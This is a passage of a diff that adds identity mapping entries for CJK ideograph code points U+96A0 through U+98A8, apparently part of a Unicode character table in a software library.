+ ["\u96A0", "\u96A0"], /* CJK Ideograph */
+ ["\u96A1", "\u96A1"], /* CJK Ideograph */
+ ["\u96A2", "\u96A2"], /* CJK Ideograph */
+ ["\u96A3", "\u96A3"], /* CJK Ideograph */
+ ["\u96A4", "\u96A4"], /* CJK Ideograph */
+ ["\u96A5", "\u96A5"], /* CJK Ideograph */
+ ["\u96A6", "\u96A6"], /* CJK Ideograph */
+ ["\u96A7", "\u96A7"], /* CJK Ideograph */
+ ["\u96A8", "\u96A8"], /* CJK Ideograph */
+ ["\u96A9", "\u96A9"], /* CJK Ideograph */
+ ["\u96AA", "\u96AA"], /* CJK Ideograph */
+ ["\u96AB", "\u96AB"], /* CJK Ideograph */
+ ["\u96AC", "\u96AC"], /* CJK Ideograph */
+ ["\u96AD", "\u96AD"], /* CJK Ideograph */
+ ["\u96AE", "\u96AE"], /* CJK Ideograph */
+ ["\u96AF", "\u96AF"], /* CJK Ideograph */
+ ["\u96B0", "\u96B0"], /* CJK Ideograph */
+ ["\u96B1", "\u96B1"], /* CJK Ideograph */
+ ["\u96B2", "\u96B2"], /* CJK Ideograph */
+ ["\u96B3", "\u96B3"], /* CJK Ideograph */
+ ["\u96B4", "\u96B4"], /* CJK Ideograph */
+ ["\u96B5", "\u96B5"], /* CJK Ideograph */
+ ["\u96B6", "\u96B6"], /* CJK Ideograph */
+ ["\u96B7", "\u96B7"], /* CJK Ideograph */
+ ["\u96B8", "\u96B8"], /* CJK Ideograph */
+ ["\u96B9", "\u96B9"], /* CJK Ideograph */
+ ["\u96BA", "\u96BA"], /* CJK Ideograph */
+ ["\u96BB", "\u96BB"], /* CJK Ideograph */
+ ["\u96BC", "\u96BC"], /* CJK Ideograph */
+ ["\u96BD", "\u96BD"], /* CJK Ideograph */
+ ["\u96BE", "\u96BE"], /* CJK Ideograph */
+ ["\u96BF", "\u96BF"], /* CJK Ideograph */
+ ["\u96C0", "\u96C0"], /* CJK Ideograph */
+ ["\u96C1", "\u96C1"], /* CJK Ideograph */
+ ["\u96C2", "\u96C2"], /* CJK Ideograph */
+ ["\u96C3", "\u96C3"], /* CJK Ideograph */
+ ["\u96C4", "\u96C4"], /* CJK Ideograph */
+ ["\u96C5", "\u96C5"], /* CJK Ideograph */
+ ["\u96C6", "\u96C6"], /* CJK Ideograph */
+ ["\u96C7", "\u96C7"], /* CJK Ideograph */
+ ["\u96C8", "\u96C8"], /* CJK Ideograph */
+ ["\u96C9", "\u96C9"], /* CJK Ideograph */
+ ["\u96CA", "\u96CA"], /* CJK Ideograph */
+ ["\u96CB", "\u96CB"], /* CJK Ideograph */
+ ["\u96CC", "\u96CC"], /* CJK Ideograph */
+ ["\u96CD", "\u96CD"], /* CJK Ideograph */
+ ["\u96CE", "\u96CE"], /* CJK Ideograph */
+ ["\u96CF", "\u96CF"], /* CJK Ideograph */
+ ["\u96D0", "\u96D0"], /* CJK Ideograph */
+ ["\u96D1", "\u96D1"], /* CJK Ideograph */
+ ["\u96D2", "\u96D2"], /* CJK Ideograph */
+ ["\u96D3", "\u96D3"], /* CJK Ideograph */
+ ["\u96D4", "\u96D4"], /* CJK Ideograph */
+ ["\u96D5", "\u96D5"], /* CJK Ideograph */
+ ["\u96D6", "\u96D6"], /* CJK Ideograph */
+ ["\u96D7", "\u96D7"], /* CJK Ideograph */
+ ["\u96D8", "\u96D8"], /* CJK Ideograph */
+ ["\u96D9", "\u96D9"], /* CJK Ideograph */
+ ["\u96DA", "\u96DA"], /* CJK Ideograph */
+ ["\u96DB", "\u96DB"], /* CJK Ideograph */
+ ["\u96DC", "\u96DC"], /* CJK Ideograph */
+ ["\u96DD", "\u96DD"], /* CJK Ideograph */
+ ["\u96DE", "\u96DE"], /* CJK Ideograph */
+ ["\u96DF", "\u96DF"], /* CJK Ideograph */
+ ["\u96E0", "\u96E0"], /* CJK Ideograph */
+ ["\u96E1", "\u96E1"], /* CJK Ideograph */
+ ["\u96E2", "\u96E2"], /* CJK Ideograph */
+ ["\u96E3", "\u96E3"], /* CJK Ideograph */
+ ["\u96E4", "\u96E4"], /* CJK Ideograph */
+ ["\u96E5", "\u96E5"], /* CJK Ideograph */
+ ["\u96E6", "\u96E6"], /* CJK Ideograph */
+ ["\u96E7", "\u96E7"], /* CJK Ideograph */
+ ["\u96E8", "\u96E8"], /* CJK Ideograph */
+ ["\u96E9", "\u96E9"], /* CJK Ideograph */
+ ["\u96EA", "\u96EA"], /* CJK Ideograph */
+ ["\u96EB", "\u96EB"], /* CJK Ideograph */
+ ["\u96EC", "\u96EC"], /* CJK Ideograph */
+ ["\u96ED", "\u96ED"], /* CJK Ideograph */
+ ["\u96EE", "\u96EE"], /* CJK Ideograph */
+ ["\u96EF", "\u96EF"], /* CJK Ideograph */
+ ["\u96F0", "\u96F0"], /* CJK Ideograph */
+ ["\u96F1", "\u96F1"], /* CJK Ideograph */
+ ["\u96F2", "\u96F2"], /* CJK Ideograph */
+ ["\u96F3", "\u96F3"], /* CJK Ideograph */
+ ["\u96F4", "\u96F4"], /* CJK Ideograph */
+ ["\u96F5", "\u96F5"], /* CJK Ideograph */
+ ["\u96F6", "\u96F6"], /* CJK Ideograph */
+ ["\u96F7", "\u96F7"], /* CJK Ideograph */
+ ["\u96F8", "\u96F8"], /* CJK Ideograph */
+ ["\u96F9", "\u96F9"], /* CJK Ideograph */
+ ["\u96FA", "\u96FA"], /* CJK Ideograph */
+ ["\u96FB", "\u96FB"], /* CJK Ideograph */
+ ["\u96FC", "\u96FC"], /* CJK Ideograph */
+ ["\u96FD", "\u96FD"], /* CJK Ideograph */
+ ["\u96FE", "\u96FE"], /* CJK Ideograph */
+ ["\u96FF", "\u96FF"], /* CJK Ideograph */
+ ["\u9700", "\u9700"], /* CJK Ideograph */
+ ["\u9701", "\u9701"], /* CJK Ideograph */
+ ["\u9702", "\u9702"], /* CJK Ideograph */
+ ["\u9703", "\u9703"], /* CJK Ideograph */
+ ["\u9704", "\u9704"], /* CJK Ideograph */
+ ["\u9705", "\u9705"], /* CJK Ideograph */
+ ["\u9706", "\u9706"], /* CJK Ideograph */
+ ["\u9707", "\u9707"], /* CJK Ideograph */
+ ["\u9708", "\u9708"], /* CJK Ideograph */
+ ["\u9709", "\u9709"], /* CJK Ideograph */
+ ["\u970A", "\u970A"], /* CJK Ideograph */
+ ["\u970B", "\u970B"], /* CJK Ideograph */
+ ["\u970C", "\u970C"], /* CJK Ideograph */
+ ["\u970D", "\u970D"], /* CJK Ideograph */
+ ["\u970E", "\u970E"], /* CJK Ideograph */
+ ["\u970F", "\u970F"], /* CJK Ideograph */
+ ["\u9710", "\u9710"], /* CJK Ideograph */
+ ["\u9711", "\u9711"], /* CJK Ideograph */
+ ["\u9712", "\u9712"], /* CJK Ideograph */
+ ["\u9713", "\u9713"], /* CJK Ideograph */
+ ["\u9714", "\u9714"], /* CJK Ideograph */
+ ["\u9715", "\u9715"], /* CJK Ideograph */
+ ["\u9716", "\u9716"], /* CJK Ideograph */
+ ["\u9717", "\u9717"], /* CJK Ideograph */
+ ["\u9718", "\u9718"], /* CJK Ideograph */
+ ["\u9719", "\u9719"], /* CJK Ideograph */
+ ["\u971A", "\u971A"], /* CJK Ideograph */
+ ["\u971B", "\u971B"], /* CJK Ideograph */
+ ["\u971C", "\u971C"], /* CJK Ideograph */
+ ["\u971D", "\u971D"], /* CJK Ideograph */
+ ["\u971E", "\u971E"], /* CJK Ideograph */
+ ["\u971F", "\u971F"], /* CJK Ideograph */
+ ["\u9720", "\u9720"], /* CJK Ideograph */
+ ["\u9721", "\u9721"], /* CJK Ideograph */
+ ["\u9722", "\u9722"], /* CJK Ideograph */
+ ["\u9723", "\u9723"], /* CJK Ideograph */
+ ["\u9724", "\u9724"], /* CJK Ideograph */
+ ["\u9725", "\u9725"], /* CJK Ideograph */
+ ["\u9726", "\u9726"], /* CJK Ideograph */
+ ["\u9727", "\u9727"], /* CJK Ideograph */
+ ["\u9728", "\u9728"], /* CJK Ideograph */
+ ["\u9729", "\u9729"], /* CJK Ideograph */
+ ["\u972A", "\u972A"], /* CJK Ideograph */
+ ["\u972B", "\u972B"], /* CJK Ideograph */
+ ["\u972C", "\u972C"], /* CJK Ideograph */
+ ["\u972D", "\u972D"], /* CJK Ideograph */
+ ["\u972E", "\u972E"], /* CJK Ideograph */
+ ["\u972F", "\u972F"], /* CJK Ideograph */
+ ["\u9730", "\u9730"], /* CJK Ideograph */
+ ["\u9731", "\u9731"], /* CJK Ideograph */
+ ["\u9732", "\u9732"], /* CJK Ideograph */
+ ["\u9733", "\u9733"], /* CJK Ideograph */
+ ["\u9734", "\u9734"], /* CJK Ideograph */
+ ["\u9735", "\u9735"], /* CJK Ideograph */
+ ["\u9736", "\u9736"], /* CJK Ideograph */
+ ["\u9737", "\u9737"], /* CJK Ideograph */
+ ["\u9738", "\u9738"], /* CJK Ideograph */
+ ["\u9739", "\u9739"], /* CJK Ideograph */
+ ["\u973A", "\u973A"], /* CJK Ideograph */
+ ["\u973B", "\u973B"], /* CJK Ideograph */
+ ["\u973C", "\u973C"], /* CJK Ideograph */
+ ["\u973D", "\u973D"], /* CJK Ideograph */
+ ["\u973E", "\u973E"], /* CJK Ideograph */
+ ["\u973F", "\u973F"], /* CJK Ideograph */
+ ["\u9740", "\u9740"], /* CJK Ideograph */
+ ["\u9741", "\u9741"], /* CJK Ideograph */
+ ["\u9742", "\u9742"], /* CJK Ideograph */
+ ["\u9743", "\u9743"], /* CJK Ideograph */
+ ["\u9744", "\u9744"], /* CJK Ideograph */
+ ["\u9745", "\u9745"], /* CJK Ideograph */
+ ["\u9746", "\u9746"], /* CJK Ideograph */
+ ["\u9747", "\u9747"], /* CJK Ideograph */
+ ["\u9748", "\u9748"], /* CJK Ideograph */
+ ["\u9749", "\u9749"], /* CJK Ideograph */
+ ["\u974A", "\u974A"], /* CJK Ideograph */
+ ["\u974B", "\u974B"], /* CJK Ideograph */
+ ["\u974C", "\u974C"], /* CJK Ideograph */
+ ["\u974D", "\u974D"], /* CJK Ideograph */
+ ["\u974E", "\u974E"], /* CJK Ideograph */
+ ["\u974F", "\u974F"], /* CJK Ideograph */
+ ["\u9750", "\u9750"], /* CJK Ideograph */
+ ["\u9751", "\u9751"], /* CJK Ideograph */
+ ["\u9752", "\u9752"], /* CJK Ideograph */
+ ["\u9753", "\u9753"], /* CJK Ideograph */
+ ["\u9754", "\u9754"], /* CJK Ideograph */
+ ["\u9755", "\u9755"], /* CJK Ideograph */
+ ["\u9756", "\u9756"], /* CJK Ideograph */
+ ["\u9757", "\u9757"], /* CJK Ideograph */
+ ["\u9758", "\u9758"], /* CJK Ideograph */
+ ["\u9759", "\u9759"], /* CJK Ideograph */
+ ["\u975A", "\u975A"], /* CJK Ideograph */
+ ["\u975B", "\u975B"], /* CJK Ideograph */
+ ["\u975C", "\u975C"], /* CJK Ideograph */
+ ["\u975D", "\u975D"], /* CJK Ideograph */
+ ["\u975E", "\u975E"], /* CJK Ideograph */
+ ["\u975F", "\u975F"], /* CJK Ideograph */
+ ["\u9760", "\u9760"], /* CJK Ideograph */
+ ["\u9761", "\u9761"], /* CJK Ideograph */
+ ["\u9762", "\u9762"], /* CJK Ideograph */
+ ["\u9763", "\u9763"], /* CJK Ideograph */
+ ["\u9764", "\u9764"], /* CJK Ideograph */
+ ["\u9765", "\u9765"], /* CJK Ideograph */
+ ["\u9766", "\u9766"], /* CJK Ideograph */
+ ["\u9767", "\u9767"], /* CJK Ideograph */
+ ["\u9768", "\u9768"], /* CJK Ideograph */
+ ["\u9769", "\u9769"], /* CJK Ideograph */
+ ["\u976A", "\u976A"], /* CJK Ideograph */
+ ["\u976B", "\u976B"], /* CJK Ideograph */
+ ["\u976C", "\u976C"], /* CJK Ideograph */
+ ["\u976D", "\u976D"], /* CJK Ideograph */
+ ["\u976E", "\u976E"], /* CJK Ideograph */
+ ["\u976F", "\u976F"], /* CJK Ideograph */
+ ["\u9770", "\u9770"], /* CJK Ideograph */
+ ["\u9771", "\u9771"], /* CJK Ideograph */
+ ["\u9772", "\u9772"], /* CJK Ideograph */
+ ["\u9773", "\u9773"], /* CJK Ideograph */
+ ["\u9774", "\u9774"], /* CJK Ideograph */
+ ["\u9775", "\u9775"], /* CJK Ideograph */
+ ["\u9776", "\u9776"], /* CJK Ideograph */
+ ["\u9777", "\u9777"], /* CJK Ideograph */
+ ["\u9778", "\u9778"], /* CJK Ideograph */
+ ["\u9779", "\u9779"], /* CJK Ideograph */
+ ["\u977A", "\u977A"], /* CJK Ideograph */
+ ["\u977B", "\u977B"], /* CJK Ideograph */
+ ["\u977C", "\u977C"], /* CJK Ideograph */
+ ["\u977D", "\u977D"], /* CJK Ideograph */
+ ["\u977E", "\u977E"], /* CJK Ideograph */
+ ["\u977F", "\u977F"], /* CJK Ideograph */
+ ["\u9780", "\u9780"], /* CJK Ideograph */
+ ["\u9781", "\u9781"], /* CJK Ideograph */
+ ["\u9782", "\u9782"], /* CJK Ideograph */
+ ["\u9783", "\u9783"], /* CJK Ideograph */
+ ["\u9784", "\u9784"], /* CJK Ideograph */
+ ["\u9785", "\u9785"], /* CJK Ideograph */
+ ["\u9786", "\u9786"], /* CJK Ideograph */
+ ["\u9787", "\u9787"], /* CJK Ideograph */
+ ["\u9788", "\u9788"], /* CJK Ideograph */
+ ["\u9789", "\u9789"], /* CJK Ideograph */
+ ["\u978A", "\u978A"], /* CJK Ideograph */
+ ["\u978B", "\u978B"], /* CJK Ideograph */
+ ["\u978C", "\u978C"], /* CJK Ideograph */
+ ["\u978D", "\u978D"], /* CJK Ideograph */
+ ["\u978E", "\u978E"], /* CJK Ideograph */
+ ["\u978F", "\u978F"], /* CJK Ideograph */
+ ["\u9790", "\u9790"], /* CJK Ideograph */
+ ["\u9791", "\u9791"], /* CJK Ideograph */
+ ["\u9792", "\u9792"], /* CJK Ideograph */
+ ["\u9793", "\u9793"], /* CJK Ideograph */
+ ["\u9794", "\u9794"], /* CJK Ideograph */
+ ["\u9795", "\u9795"], /* CJK Ideograph */
+ ["\u9796", "\u9796"], /* CJK Ideograph */
+ ["\u9797", "\u9797"], /* CJK Ideograph */
+ ["\u9798", "\u9798"], /* CJK Ideograph */
+ ["\u9799", "\u9799"], /* CJK Ideograph */
+ ["\u979A", "\u979A"], /* CJK Ideograph */
+ ["\u979B", "\u979B"], /* CJK Ideograph */
+ ["\u979C", "\u979C"], /* CJK Ideograph */
+ ["\u979D", "\u979D"], /* CJK Ideograph */
+ ["\u979E", "\u979E"], /* CJK Ideograph */
+ ["\u979F", "\u979F"], /* CJK Ideograph */
+ ["\u97A0", "\u97A0"], /* CJK Ideograph */
+ ["\u97A1", "\u97A1"], /* CJK Ideograph */
+ ["\u97A2", "\u97A2"], /* CJK Ideograph */
+ ["\u97A3", "\u97A3"], /* CJK Ideograph */
+ ["\u97A4", "\u97A4"], /* CJK Ideograph */
+ ["\u97A5", "\u97A5"], /* CJK Ideograph */
+ ["\u97A6", "\u97A6"], /* CJK Ideograph */
+ ["\u97A7", "\u97A7"], /* CJK Ideograph */
+ ["\u97A8", "\u97A8"], /* CJK Ideograph */
+ ["\u97A9", "\u97A9"], /* CJK Ideograph */
+ ["\u97AA", "\u97AA"], /* CJK Ideograph */
+ ["\u97AB", "\u97AB"], /* CJK Ideograph */
+ ["\u97AC", "\u97AC"], /* CJK Ideograph */
+ ["\u97AD", "\u97AD"], /* CJK Ideograph */
+ ["\u97AE", "\u97AE"], /* CJK Ideograph */
+ ["\u97AF", "\u97AF"], /* CJK Ideograph */
+ ["\u97B0", "\u97B0"], /* CJK Ideograph */
+ ["\u97B1", "\u97B1"], /* CJK Ideograph */
+ ["\u97B2", "\u97B2"], /* CJK Ideograph */
+ ["\u97B3", "\u97B3"], /* CJK Ideograph */
+ ["\u97B4", "\u97B4"], /* CJK Ideograph */
+ ["\u97B5", "\u97B5"], /* CJK Ideograph */
+ ["\u97B6", "\u97B6"], /* CJK Ideograph */
+ ["\u97B7", "\u97B7"], /* CJK Ideograph */
+ ["\u97B8", "\u97B8"], /* CJK Ideograph */
+ ["\u97B9", "\u97B9"], /* CJK Ideograph */
+ ["\u97BA", "\u97BA"], /* CJK Ideograph */
+ ["\u97BB", "\u97BB"], /* CJK Ideograph */
+ ["\u97BC", "\u97BC"], /* CJK Ideograph */
+ ["\u97BD", "\u97BD"], /* CJK Ideograph */
+ ["\u97BE", "\u97BE"], /* CJK Ideograph */
+ ["\u97BF", "\u97BF"], /* CJK Ideograph */
+ ["\u97C0", "\u97C0"], /* CJK Ideograph */
+ ["\u97C1", "\u97C1"], /* CJK Ideograph */
+ ["\u97C2", "\u97C2"], /* CJK Ideograph */
+ ["\u97C3", "\u97C3"], /* CJK Ideograph */
+ ["\u97C4", "\u97C4"], /* CJK Ideograph */
+ ["\u97C5", "\u97C5"], /* CJK Ideograph */
+ ["\u97C6", "\u97C6"], /* CJK Ideograph */
+ ["\u97C7", "\u97C7"], /* CJK Ideograph */
+ ["\u97C8", "\u97C8"], /* CJK Ideograph */
+ ["\u97C9", "\u97C9"], /* CJK Ideograph */
+ ["\u97CA", "\u97CA"], /* CJK Ideograph */
+ ["\u97CB", "\u97CB"], /* CJK Ideograph */
+ ["\u97CC", "\u97CC"], /* CJK Ideograph */
+ ["\u97CD", "\u97CD"], /* CJK Ideograph */
+ ["\u97CE", "\u97CE"], /* CJK Ideograph */
+ ["\u97CF", "\u97CF"], /* CJK Ideograph */
+ ["\u97D0", "\u97D0"], /* CJK Ideograph */
+ ["\u97D1", "\u97D1"], /* CJK Ideograph */
+ ["\u97D2", "\u97D2"], /* CJK Ideograph */
+ ["\u97D3", "\u97D3"], /* CJK Ideograph */
+ ["\u97D4", "\u97D4"], /* CJK Ideograph */
+ ["\u97D5", "\u97D5"], /* CJK Ideograph */
+ ["\u97D6", "\u97D6"], /* CJK Ideograph */
+ ["\u97D7", "\u97D7"], /* CJK Ideograph */
+ ["\u97D8", "\u97D8"], /* CJK Ideograph */
+ ["\u97D9", "\u97D9"], /* CJK Ideograph */
+ ["\u97DA", "\u97DA"], /* CJK Ideograph */
+ ["\u97DB", "\u97DB"], /* CJK Ideograph */
+ ["\u97DC", "\u97DC"], /* CJK Ideograph */
+ ["\u97DD", "\u97DD"], /* CJK Ideograph */
+ ["\u97DE", "\u97DE"], /* CJK Ideograph */
+ ["\u97DF", "\u97DF"], /* CJK Ideograph */
+ ["\u97E0", "\u97E0"], /* CJK Ideograph */
+ ["\u97E1", "\u97E1"], /* CJK Ideograph */
+ ["\u97E2", "\u97E2"], /* CJK Ideograph */
+ ["\u97E3", "\u97E3"], /* CJK Ideograph */
+ ["\u97E4", "\u97E4"], /* CJK Ideograph */
+ ["\u97E5", "\u97E5"], /* CJK Ideograph */
+ ["\u97E6", "\u97E6"], /* CJK Ideograph */
+ ["\u97E7", "\u97E7"], /* CJK Ideograph */
+ ["\u97E8", "\u97E8"], /* CJK Ideograph */
+ ["\u97E9", "\u97E9"], /* CJK Ideograph */
+ ["\u97EA", "\u97EA"], /* CJK Ideograph */
+ ["\u97EB", "\u97EB"], /* CJK Ideograph */
+ ["\u97EC", "\u97EC"], /* CJK Ideograph */
+ ["\u97ED", "\u97ED"], /* CJK Ideograph */
+ ["\u97EE", "\u97EE"], /* CJK Ideograph */
+ ["\u97EF", "\u97EF"], /* CJK Ideograph */
+ ["\u97F0", "\u97F0"], /* CJK Ideograph */
+ ["\u97F1", "\u97F1"], /* CJK Ideograph */
+ ["\u97F2", "\u97F2"], /* CJK Ideograph */
+ ["\u97F3", "\u97F3"], /* CJK Ideograph */
+ ["\u97F4", "\u97F4"], /* CJK Ideograph */
+ ["\u97F5", "\u97F5"], /* CJK Ideograph */
+ ["\u97F6", "\u97F6"], /* CJK Ideograph */
+ ["\u97F7", "\u97F7"], /* CJK Ideograph */
+ ["\u97F8", "\u97F8"], /* CJK Ideograph */
+ ["\u97F9", "\u97F9"], /* CJK Ideograph */
+ ["\u97FA", "\u97FA"], /* CJK Ideograph */
+ ["\u97FB", "\u97FB"], /* CJK Ideograph */
+ ["\u97FC", "\u97FC"], /* CJK Ideograph */
+ ["\u97FD", "\u97FD"], /* CJK Ideograph */
+ ["\u97FE", "\u97FE"], /* CJK Ideograph */
+ ["\u97FF", "\u97FF"], /* CJK Ideograph */
+ ["\u9800", "\u9800"], /* CJK Ideograph */
+ ["\u9801", "\u9801"], /* CJK Ideograph */
+ ["\u9802", "\u9802"], /* CJK Ideograph */
+ ["\u9803", "\u9803"], /* CJK Ideograph */
+ ["\u9804", "\u9804"], /* CJK Ideograph */
+ ["\u9805", "\u9805"], /* CJK Ideograph */
+ ["\u9806", "\u9806"], /* CJK Ideograph */
+ ["\u9807", "\u9807"], /* CJK Ideograph */
+ ["\u9808", "\u9808"], /* CJK Ideograph */
+ ["\u9809", "\u9809"], /* CJK Ideograph */
+ ["\u980A", "\u980A"], /* CJK Ideograph */
+ ["\u980B", "\u980B"], /* CJK Ideograph */
+ ["\u980C", "\u980C"], /* CJK Ideograph */
+ ["\u980D", "\u980D"], /* CJK Ideograph */
+ ["\u980E", "\u980E"], /* CJK Ideograph */
+ ["\u980F", "\u980F"], /* CJK Ideograph */
+ ["\u9810", "\u9810"], /* CJK Ideograph */
+ ["\u9811", "\u9811"], /* CJK Ideograph */
+ ["\u9812", "\u9812"], /* CJK Ideograph */
+ ["\u9813", "\u9813"], /* CJK Ideograph */
+ ["\u9814", "\u9814"], /* CJK Ideograph */
+ ["\u9815", "\u9815"], /* CJK Ideograph */
+ ["\u9816", "\u9816"], /* CJK Ideograph */
+ ["\u9817", "\u9817"], /* CJK Ideograph */
+ ["\u9818", "\u9818"], /* CJK Ideograph */
+ ["\u9819", "\u9819"], /* CJK Ideograph */
+ ["\u981A", "\u981A"], /* CJK Ideograph */
+ ["\u981B", "\u981B"], /* CJK Ideograph */
+ ["\u981C", "\u981C"], /* CJK Ideograph */
+ ["\u981D", "\u981D"], /* CJK Ideograph */
+ ["\u981E", "\u981E"], /* CJK Ideograph */
+ ["\u981F", "\u981F"], /* CJK Ideograph */
+ ["\u9820", "\u9820"], /* CJK Ideograph */
+ ["\u9821", "\u9821"], /* CJK Ideograph */
+ ["\u9822", "\u9822"], /* CJK Ideograph */
+ ["\u9823", "\u9823"], /* CJK Ideograph */
+ ["\u9824", "\u9824"], /* CJK Ideograph */
+ ["\u9825", "\u9825"], /* CJK Ideograph */
+ ["\u9826", "\u9826"], /* CJK Ideograph */
+ ["\u9827", "\u9827"], /* CJK Ideograph */
+ ["\u9828", "\u9828"], /* CJK Ideograph */
+ ["\u9829", "\u9829"], /* CJK Ideograph */
+ ["\u982A", "\u982A"], /* CJK Ideograph */
+ ["\u982B", "\u982B"], /* CJK Ideograph */
+ ["\u982C", "\u982C"], /* CJK Ideograph */
+ ["\u982D", "\u982D"], /* CJK Ideograph */
+ ["\u982E", "\u982E"], /* CJK Ideograph */
+ ["\u982F", "\u982F"], /* CJK Ideograph */
+ ["\u9830", "\u9830"], /* CJK Ideograph */
+ ["\u9831", "\u9831"], /* CJK Ideograph */
+ ["\u9832", "\u9832"], /* CJK Ideograph */
+ ["\u9833", "\u9833"], /* CJK Ideograph */
+ ["\u9834", "\u9834"], /* CJK Ideograph */
+ ["\u9835", "\u9835"], /* CJK Ideograph */
+ ["\u9836", "\u9836"], /* CJK Ideograph */
+ ["\u9837", "\u9837"], /* CJK Ideograph */
+ ["\u9838", "\u9838"], /* CJK Ideograph */
+ ["\u9839", "\u9839"], /* CJK Ideograph */
+ ["\u983A", "\u983A"], /* CJK Ideograph */
+ ["\u983B", "\u983B"], /* CJK Ideograph */
+ ["\u983C", "\u983C"], /* CJK Ideograph */
+ ["\u983D", "\u983D"], /* CJK Ideograph */
+ ["\u983E", "\u983E"], /* CJK Ideograph */
+ ["\u983F", "\u983F"], /* CJK Ideograph */
+ ["\u9840", "\u9840"], /* CJK Ideograph */
+ ["\u9841", "\u9841"], /* CJK Ideograph */
+ ["\u9842", "\u9842"], /* CJK Ideograph */
+ ["\u9843", "\u9843"], /* CJK Ideograph */
+ ["\u9844", "\u9844"], /* CJK Ideograph */
+ ["\u9845", "\u9845"], /* CJK Ideograph */
+ ["\u9846", "\u9846"], /* CJK Ideograph */
+ ["\u9847", "\u9847"], /* CJK Ideograph */
+ ["\u9848", "\u9848"], /* CJK Ideograph */
+ ["\u9849", "\u9849"], /* CJK Ideograph */
+ ["\u984A", "\u984A"], /* CJK Ideograph */
+ ["\u984B", "\u984B"], /* CJK Ideograph */
+ ["\u984C", "\u984C"], /* CJK Ideograph */
+ ["\u984D", "\u984D"], /* CJK Ideograph */
+ ["\u984E", "\u984E"], /* CJK Ideograph */
+ ["\u984F", "\u984F"], /* CJK Ideograph */
+ ["\u9850", "\u9850"], /* CJK Ideograph */
+ ["\u9851", "\u9851"], /* CJK Ideograph */
+ ["\u9852", "\u9852"], /* CJK Ideograph */
+ ["\u9853", "\u9853"], /* CJK Ideograph */
+ ["\u9854", "\u9854"], /* CJK Ideograph */
+ ["\u9855", "\u9855"], /* CJK Ideograph */
+ ["\u9856", "\u9856"], /* CJK Ideograph */
+ ["\u9857", "\u9857"], /* CJK Ideograph */
+ ["\u9858", "\u9858"], /* CJK Ideograph */
+ ["\u9859", "\u9859"], /* CJK Ideograph */
+ ["\u985A", "\u985A"], /* CJK Ideograph */
+ ["\u985B", "\u985B"], /* CJK Ideograph */
+ ["\u985C", "\u985C"], /* CJK Ideograph */
+ ["\u985D", "\u985D"], /* CJK Ideograph */
+ ["\u985E", "\u985E"], /* CJK Ideograph */
+ ["\u985F", "\u985F"], /* CJK Ideograph */
+ ["\u9860", "\u9860"], /* CJK Ideograph */
+ ["\u9861", "\u9861"], /* CJK Ideograph */
+ ["\u9862", "\u9862"], /* CJK Ideograph */
+ ["\u9863", "\u9863"], /* CJK Ideograph */
+ ["\u9864", "\u9864"], /* CJK Ideograph */
+ ["\u9865", "\u9865"], /* CJK Ideograph */
+ ["\u9866", "\u9866"], /* CJK Ideograph */
+ ["\u9867", "\u9867"], /* CJK Ideograph */
+ ["\u9868", "\u9868"], /* CJK Ideograph */
+ ["\u9869", "\u9869"], /* CJK Ideograph */
+ ["\u986A", "\u986A"], /* CJK Ideograph */
+ ["\u986B", "\u986B"], /* CJK Ideograph */
+ ["\u986C", "\u986C"], /* CJK Ideograph */
+ ["\u986D", "\u986D"], /* CJK Ideograph */
+ ["\u986E", "\u986E"], /* CJK Ideograph */
+ ["\u986F", "\u986F"], /* CJK Ideograph */
+ ["\u9870", "\u9870"], /* CJK Ideograph */
+ ["\u9871", "\u9871"], /* CJK Ideograph */
+ ["\u9872", "\u9872"], /* CJK Ideograph */
+ ["\u9873", "\u9873"], /* CJK Ideograph */
+ ["\u9874", "\u9874"], /* CJK Ideograph */
+ ["\u9875", "\u9875"], /* CJK Ideograph */
+ ["\u9876", "\u9876"], /* CJK Ideograph */
+ ["\u9877", "\u9877"], /* CJK Ideograph */
+ ["\u9878", "\u9878"], /* CJK Ideograph */
+ ["\u9879", "\u9879"], /* CJK Ideograph */
+ ["\u987A", "\u987A"], /* CJK Ideograph */
+ ["\u987B", "\u987B"], /* CJK Ideograph */
+ ["\u987C", "\u987C"], /* CJK Ideograph */
+ ["\u987D", "\u987D"], /* CJK Ideograph */
+ ["\u987E", "\u987E"], /* CJK Ideograph */
+ ["\u987F", "\u987F"], /* CJK Ideograph */
+ ["\u9880", "\u9880"], /* CJK Ideograph */
+ ["\u9881", "\u9881"], /* CJK Ideograph */
+ ["\u9882", "\u9882"], /* CJK Ideograph */
+ ["\u9883", "\u9883"], /* CJK Ideograph */
+ ["\u9884", "\u9884"], /* CJK Ideograph */
+ ["\u9885", "\u9885"], /* CJK Ideograph */
+ ["\u9886", "\u9886"], /* CJK Ideograph */
+ ["\u9887", "\u9887"], /* CJK Ideograph */
+ ["\u9888", "\u9888"], /* CJK Ideograph */
+ ["\u9889", "\u9889"], /* CJK Ideograph */
+ ["\u988A", "\u988A"], /* CJK Ideograph */
+ ["\u988B", "\u988B"], /* CJK Ideograph */
+ ["\u988C", "\u988C"], /* CJK Ideograph */
+ ["\u988D", "\u988D"], /* CJK Ideograph */
+ ["\u988E", "\u988E"], /* CJK Ideograph */
+ ["\u988F", "\u988F"], /* CJK Ideograph */
+ ["\u9890", "\u9890"], /* CJK Ideograph */
+ ["\u9891", "\u9891"], /* CJK Ideograph */
+ ["\u9892", "\u9892"], /* CJK Ideograph */
+ ["\u9893", "\u9893"], /* CJK Ideograph */
+ ["\u9894", "\u9894"], /* CJK Ideograph */
+ ["\u9895", "\u9895"], /* CJK Ideograph */
+ ["\u9896", "\u9896"], /* CJK Ideograph */
+ ["\u9897", "\u9897"], /* CJK Ideograph */
+ ["\u9898", "\u9898"], /* CJK Ideograph */
+ ["\u9899", "\u9899"], /* CJK Ideograph */
+ ["\u989A", "\u989A"], /* CJK Ideograph */
+ ["\u989B", "\u989B"], /* CJK Ideograph */
+ ["\u989C", "\u989C"], /* CJK Ideograph */
+ ["\u989D", "\u989D"], /* CJK Ideograph */
+ ["\u989E", "\u989E"], /* CJK Ideograph */
+ ["\u989F", "\u989F"], /* CJK Ideograph */
+ ["\u98A0", "\u98A0"], /* CJK Ideograph */
+ ["\u98A1", "\u98A1"], /* CJK Ideograph */
+ ["\u98A2", "\u98A2"], /* CJK Ideograph */
+ ["\u98A3", "\u98A3"], /* CJK Ideograph */
+ ["\u98A4", "\u98A4"], /* CJK Ideograph */
+ ["\u98A5", "\u98A5"], /* CJK Ideograph */
+ ["\u98A6", "\u98A6"], /* CJK Ideograph */
+ ["\u98A7", "\u98A7"], /* CJK Ideograph */
+ ["\u98A8", "\u98A8"], /* CJK Ideograph */
